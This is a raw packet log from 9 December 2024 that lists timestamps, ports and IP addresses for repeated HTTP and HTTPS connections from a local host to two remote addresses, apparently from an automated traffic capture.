Dec 9, 2024 14:13:45.275693893 CET	49938	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:45.394968033 CET	80	49938	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:45.395054102 CET	49938	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:45.395200014 CET	49938	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:45.411647081 CET	49934	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:45.514421940 CET	80	49938	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:46.809268951 CET	80	49938	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:46.811350107 CET	49942	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:46.811397076 CET	443	49942	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:46.811464071 CET	49942	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:46.811997890 CET	49942	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:46.812014103 CET	443	49942	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:46.911653042 CET	49938	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:46.921603918 CET	80	49938	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:46.921704054 CET	49938	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:48.027384996 CET	443	49942	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:48.031265974 CET	49942	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:48.031305075 CET	443	49942	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:48.479868889 CET	443	49942	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:48.479980946 CET	443	49942	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:48.483411074 CET	49942	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:48.487262011 CET	49942	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.501411915 CET	49938	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.621165991 CET	80	49938	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:53.621272087 CET	49938	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.622653008 CET	49934	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.651460886 CET	49959	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.742752075 CET	80	49934	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:53.742805958 CET	49934	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.771140099 CET	80	49959	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:53.771207094 CET	49959	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.789258957 CET	49959	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:53.909060001 CET	80	49959	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:54.860887051 CET	80	49959	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:54.862298012 CET	49963	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:54.862366915 CET	443	49963	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:54.862430096 CET	49963	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:54.863539934 CET	49964	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:54.927268028 CET	49959	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:54.982990026 CET	80	49964	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:54.983721018 CET	49964	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:54.984843016 CET	49964	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:55.104118109 CET	80	49964	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:56.079979897 CET	80	49964	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:56.099564075 CET	49968	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:56.099639893 CET	443	49968	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:56.099937916 CET	49968	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:56.100287914 CET	49968	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:56.100310087 CET	443	49968	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:56.131269932 CET	49964	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:57.322247028 CET	443	49968	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:57.324311972 CET	49968	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:57.324351072 CET	443	49968	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:57.774590015 CET	443	49968	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:57.774687052 CET	443	49968	172.67.19.24	192.168.2.5
Dec 9, 2024 14:13:57.774772882 CET	49968	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:13:57.775263071 CET	49968	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:02.787266970 CET	49959	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:02.787636042 CET	49964	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:02.788124084 CET	49985	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:02.907367945 CET	80	49959	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:02.907413960 CET	80	49985	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:02.907433033 CET	49959	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:02.907481909 CET	49985	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:02.907685995 CET	49985	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:02.908324957 CET	80	49964	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:02.908488035 CET	49964	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:03.026954889 CET	80	49985	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:04.005120993 CET	80	49985	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:04.008433104 CET	49987	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:04.008433104 CET	49987	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:14:04.008462906 CET	443	49987	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:04.008472919 CET	443	49987	104.20.4.235	192.168.2.5
Dec 9, 2024 14:14:04.008548021 CET	49987	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:04.008548021 CET	49987	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:14:04.008559942 CET	443	49987	104.20.4.235	192.168.2.5
Dec 9, 2024 14:14:04.008589029 CET	49987	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:14:04.011284113 CET	49988	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:04.130407095 CET	49985	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:04.130778074 CET	80	49988	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:04.130947113 CET	49988	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:04.131097078 CET	49988	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:04.251151085 CET	80	49988	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:05.225503922 CET	80	49988	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:05.227195024 CET	49994	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:05.227235079 CET	443	49994	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:05.227300882 CET	49994	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:05.227709055 CET	49994	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:05.227720022 CET	443	49994	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:05.317918062 CET	49988	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:06.454421997 CET	443	49994	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:06.459064960 CET	49994	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:06.459083080 CET	443	49994	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:06.899029970 CET	443	49994	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:06.899127007 CET	443	49994	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:06.899180889 CET	49994	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:06.899837971 CET	49994	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:11.912602901 CET	49985	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:11.912606001 CET	49988	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:11.914387941 CET	50010	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:12.032263041 CET	80	49985	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:12.032613039 CET	80	49988	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:12.032700062 CET	49985	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:12.032701969 CET	49988	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:12.033633947 CET	80	50010	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:12.033742905 CET	50010	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:12.035274029 CET	50010	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:12.154479027 CET	80	50010	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.143537998 CET	80	50010	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.144747972 CET	50012	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:13.144789934 CET	443	50012	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.144845963 CET	50012	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:13.145534039 CET	50010	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:13.304018021 CET	80	50010	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.573201895 CET	80	50010	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.575050116 CET	50013	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:13.575093031 CET	443	50013	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.575155020 CET	50013	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:13.576683998 CET	50013	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:13.576715946 CET	443	50013	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.577322006 CET	50013	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:13.623327971 CET	443	50013	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:13.630368948 CET	50010	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:14.787194967 CET	443	50013	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:14.787311077 CET	50013	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:18.600373983 CET	50021	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:18.600385904 CET	50010	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:18.720012903 CET	80	50021	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:18.720102072 CET	50021	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:18.720252991 CET	50021	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:18.720262051 CET	80	50010	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:18.721355915 CET	50010	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:18.840056896 CET	80	50021	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:19.818943024 CET	80	50021	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:19.825155973 CET	50021	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:19.944494963 CET	80	50021	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:20.148924112 CET	80	50021	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:20.150202990 CET	50022	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:14:20.150202990 CET	50022	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:20.150259018 CET	443	50022	104.20.4.235	192.168.2.5
Dec 9, 2024 14:14:20.150274038 CET	443	50022	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:20.150345087 CET	50022	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:14:20.150346041 CET	50022	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:20.151097059 CET	50022	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:14:20.317838907 CET	50021	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:21.155345917 CET	443	50022	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:21.155405998 CET	50022	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:25.162516117 CET	50021	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:25.164638996 CET	50023	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:25.286724091 CET	80	50021	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:25.286778927 CET	50021	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:25.288827896 CET	80	50023	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:25.288885117 CET	50023	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:25.289118052 CET	50023	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:25.409570932 CET	80	50023	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:26.385080099 CET	80	50023	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:26.400290966 CET	50024	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.400322914 CET	443	50024	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:26.400589943 CET	50024	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.410753965 CET	50024	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.410753965 CET	50024	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.410778999 CET	443	50024	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:26.455321074 CET	443	50024	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:26.523181915 CET	50023	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.626663923 CET	50025	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.626668930 CET	50023	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.746097088 CET	80	50025	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:26.746206045 CET	50025	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.746670961 CET	80	50023	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:26.747267962 CET	50023	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.752990961 CET	50025	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:26.872307062 CET	80	50025	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:27.621460915 CET	443	50024	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:27.621592045 CET	50024	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:27.621603966 CET	443	50024	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:27.621648073 CET	50024	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:27.621659040 CET	50024	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:27.842161894 CET	80	50025	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:27.927129984 CET	50025	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:32.849302053 CET	50025	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:32.970089912 CET	80	50025	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:32.970153093 CET	50025	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:32.991389990 CET	50026	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:33.110739946 CET	80	50026	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:33.110824108 CET	50026	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:33.110985041 CET	50026	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:33.230438948 CET	80	50026	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:34.202969074 CET	80	50026	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:34.203576088 CET	50026	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:34.323014021 CET	80	50026	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:34.525414944 CET	80	50026	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:34.530131102 CET	50027	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:34.530178070 CET	443	50027	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:34.530400991 CET	50027	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:34.583291054 CET	50026	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:39.536762953 CET	50026	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:39.537765980 CET	50028	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:39.656903028 CET	80	50026	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:39.656991005 CET	50026	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:39.657167912 CET	80	50028	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:39.657248974 CET	50028	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:39.657366991 CET	50028	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:39.776674032 CET	80	50028	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:40.757745028 CET	80	50028	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:40.758641958 CET	50028	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:40.879460096 CET	80	50028	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:41.078350067 CET	80	50028	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:41.079722881 CET	50029	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:41.079771996 CET	443	50029	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:41.079840899 CET	50029	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:41.130094051 CET	50028	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:46.084485054 CET	50028	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:46.084485054 CET	50030	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:46.205039978 CET	80	50030	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:46.205282927 CET	50030	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:46.205318928 CET	80	50028	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:46.205348015 CET	50030	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:46.205454111 CET	50028	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:46.324721098 CET	80	50030	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.302575111 CET	80	50030	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.304136038 CET	50031	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.304203987 CET	443	50031	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.304261923 CET	50031	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.304694891 CET	50031	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.304712057 CET	443	50031	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.305586100 CET	50031	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.313771963 CET	50030	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.351341009 CET	443	50031	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.433123112 CET	80	50030	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.635365009 CET	80	50030	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.670846939 CET	50032	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.670893908 CET	443	50032	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.670963049 CET	50032	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.674499989 CET	50032	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.674529076 CET	443	50032	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:47.676907063 CET	50030	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.677330971 CET	50032	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:47.719341040 CET	443	50032	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:48.518019915 CET	443	50031	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:48.518114090 CET	50031	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:48.518145084 CET	50031	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:48.892168999 CET	443	50032	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:48.892263889 CET	50032	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:48.892263889 CET	50032	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:52.834007025 CET	50030	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:52.835500956 CET	50033	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:52.953906059 CET	80	50030	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:52.953974962 CET	50030	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:52.954926014 CET	80	50033	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:52.954999924 CET	50033	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:52.955337048 CET	50033	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:53.074691057 CET	80	50033	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.061490059 CET	80	50033	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.065974951 CET	50034	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:54.066028118 CET	443	50034	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.066283941 CET	50034	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:54.066740990 CET	50033	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:54.186250925 CET	80	50033	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.387803078 CET	80	50033	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.389050961 CET	50035	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:54.389092922 CET	443	50035	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.389211893 CET	50035	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:54.389611006 CET	50035	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:54.389625072 CET	443	50035	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.390424013 CET	50035	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:54.431344986 CET	443	50035	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:54.442475080 CET	50033	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:55.624484062 CET	443	50035	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:55.624548912 CET	50035	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:55.624574900 CET	50035	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:59.474152088 CET	50033	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:59.475049019 CET	50036	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:59.594223022 CET	80	50033	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:59.594307899 CET	50033	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:59.594396114 CET	80	50036	172.67.19.24	192.168.2.5
Dec 9, 2024 14:14:59.594465017 CET	50036	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:59.594583988 CET	50036	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:14:59.713989019 CET	80	50036	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:00.693474054 CET	80	50036	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:00.697628021 CET	50037	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:00.697628021 CET	50037	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:00.697676897 CET	443	50037	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:00.697691917 CET	443	50037	104.20.4.235	192.168.2.5
Dec 9, 2024 14:15:00.697758913 CET	50037	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:00.697758913 CET	50037	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:00.697773933 CET	443	50037	104.20.4.235	192.168.2.5
Dec 9, 2024 14:15:00.699105024 CET	50036	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:00.818495035 CET	80	50036	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:01.053045988 CET	80	50036	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:01.060477972 CET	50038	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:01.060523987 CET	443	50038	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:01.060591936 CET	50038	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:01.061055899 CET	50038	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:01.061073065 CET	443	50038	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:01.061933041 CET	50038	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:01.107331038 CET	443	50038	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:01.185178041 CET	50036	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:01.731333971 CET	443	50037	104.20.4.235	192.168.2.5
Dec 9, 2024 14:15:01.731440067 CET	50037	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:02.313846111 CET	443	50038	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:02.313956976 CET	50038	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:02.313956976 CET	50038	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:06.099178076 CET	50036	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:06.102808952 CET	50039	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:06.218957901 CET	80	50036	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:06.219043016 CET	50036	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:06.222331047 CET	80	50039	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:06.222465038 CET	50039	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:06.222625017 CET	50039	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:06.342083931 CET	80	50039	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:07.324852943 CET	80	50039	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:07.325525999 CET	50039	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:07.445029020 CET	80	50039	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:07.647357941 CET	80	50039	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:07.648689985 CET	50040	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:07.648736954 CET	443	50040	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:07.648792028 CET	50040	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:07.864248037 CET	50039	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:12.661524057 CET	50039	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:12.662770033 CET	50041	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:12.781359911 CET	80	50039	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:12.782063007 CET	80	50041	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:12.782191992 CET	50041	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:12.782198906 CET	50039	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:12.782363892 CET	50041	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:12.901693106 CET	80	50041	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:13.880243063 CET	80	50041	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:13.881779909 CET	50042	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:13.881849051 CET	443	50042	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:13.881908894 CET	50042	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:13.882369995 CET	50041	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:13.883327007 CET	50043	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:14.002425909 CET	80	50041	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:14.002614975 CET	80	50043	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:14.002726078 CET	50041	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:14.002782106 CET	50043	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:14.006746054 CET	50043	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:14.125967026 CET	80	50043	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:15.101675034 CET	80	50043	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:15.108261108 CET	50044	443	192.168.2.5	172.67.19.24
